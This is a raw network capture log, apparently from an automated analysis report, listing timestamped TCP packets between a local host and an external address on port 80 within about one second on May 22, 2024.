May 22, 2024 20:06:30.155520916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.155565023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.155603886 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.155627966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.157660961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.157773018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.158829927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.158878088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.158900976 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.158926010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.158950090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.159013033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.160937071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.160984039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.161009073 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.161034107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.163120031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.163167953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.163193941 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.163214922 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.164859056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.164906025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.164927006 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.164968014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.164990902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.165014029 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.166608095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.166655064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.166692019 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.166718006 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.168334961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.168381929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.168406963 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.168431044 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.170056105 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.170103073 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.170180082 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.170209885 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.171806097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.171853065 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.171876907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.171900988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.173299074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.173346996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.173366070 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.173404932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.173424959 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.173486948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.174844980 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.174892902 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.174911976 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.174949884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.176393986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.176440001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.176459074 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.176512003 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.177912951 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.177959919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.177988052 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.178004026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.179383039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.179430008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.179449081 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.179478884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.179507017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.179563046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.180902004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.180949926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.180970907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.181000948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.182296991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.182346106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.182365894 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.182437897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.183654070 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.183701038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.183727026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.183742046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.185013056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.185060978 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.185086966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.185121059 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.186292887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.186341047 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.186372995 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.186397076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.186424971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.186475039 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.187567949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.187618017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.187643051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.187706947 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.188824892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.188872099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.188896894 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.188920021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.190258980 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.190290928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.190361977 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.192128897 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.192223072 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.192249060 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.192274094 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.192301989 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.192361116 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.192435980 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.192481995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.192506075 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.192532063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.193983078 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.194031000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.194055080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.194081068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.194793940 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.194840908 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.194874048 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.194915056 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.195904970 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.195952892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.195976019 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.196003914 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.197068930 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.197115898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.197135925 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.197163105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.197191000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.197242022 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.198133945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.198182106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.198201895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.198262930 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.202977896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.203049898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.203082085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.203115940 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.240679979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.240777016 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.240808964 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.240859985 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.241429090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.241527081 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.242016077 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.242064953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.242090940 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.242115974 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.242666006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.242714882 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.242738962 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.242772102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.243814945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.243885040 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.244425058 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.244492054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.245049000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.245151997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.245182037 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.245213985 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.245237112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.245311975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.246234894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.246299982 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.246834040 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.246901989 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.248214960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.248287916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.248445988 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.248509884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.248938084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.248985052 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.249010086 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.249036074 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.249429941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.249475956 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.249500036 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.249522924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.249941111 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.249995947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.250010014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.250044107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.250915051 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.250962019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.250988007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.251019001 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.251044035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.251096010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.251858950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.251931906 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.252353907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.252401114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.252424955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.252449036 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.252477884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.252532005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.253926039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.253973961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.253993988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.254024029 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.254303932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.254350901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.254370928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.254400969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.255234957 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.255328894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.255348921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.255408049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.256165981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.256212950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.256232023 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.256262064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.256290913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.256340981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.257097960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.257144928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.257168055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.257203102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.258030891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.258078098 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.258096933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.258127928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.258905888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.258953094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.258972883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.259011030 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.259773970 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.259820938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.259845018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.259871960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.259900093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.259952068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.260706902 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.260754108 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.260776043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.260823965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.261529922 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.261575937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.261598110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.261629105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.262345076 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.262392044 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.262414932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.262440920 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.263053894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.263099909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.263124943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.263149023 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.263804913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.263850927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.263873100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.263906956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.263933897 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.263984919 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.264513016 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.264559031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.264585018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.264610052 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.265229940 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.265275955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.265343904 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.265403986 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.265953064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.266001940 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.266026020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.266058922 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.266680956 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.266729116 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.266755104 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.266777992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.266807079 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.266854048 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.267389059 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.267436028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.267457962 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.267501116 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.268116951 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.268163919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.268188000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.268212080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.268881083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.268927097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.268954992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.268976927 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.272353888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.272417068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.272439003 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.272489071 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.272505999 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.272552013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.272572994 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.272608042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.272634029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.272680998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.272705078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.272727966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.272775888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.272825003 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.272841930 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.272888899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.272906065 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.272953033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.272979975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.273010015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.273642063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.273689032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.273715973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.273741007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.273771048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.273818970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.273837090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.273886919 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.275899887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.275948048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.275973082 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.276009083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.276035070 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.276053905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.276089907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.276138067 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.276154995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.276207924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.276221991 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.276253939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.276597023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.276643038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.276669025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.276690960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.276720047 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.276768923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.276786089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.276834011 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.277371883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.277419090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.277442932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.277468920 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.277497053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.277544975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.278153896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.278201103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.278224945 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.278258085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.278281927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.278331995 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.279028893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.279074907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.279098988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.279122114 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.279150963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.279206038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.279218912 CEST	49708	80	192.168.2.6	185.172.128.82
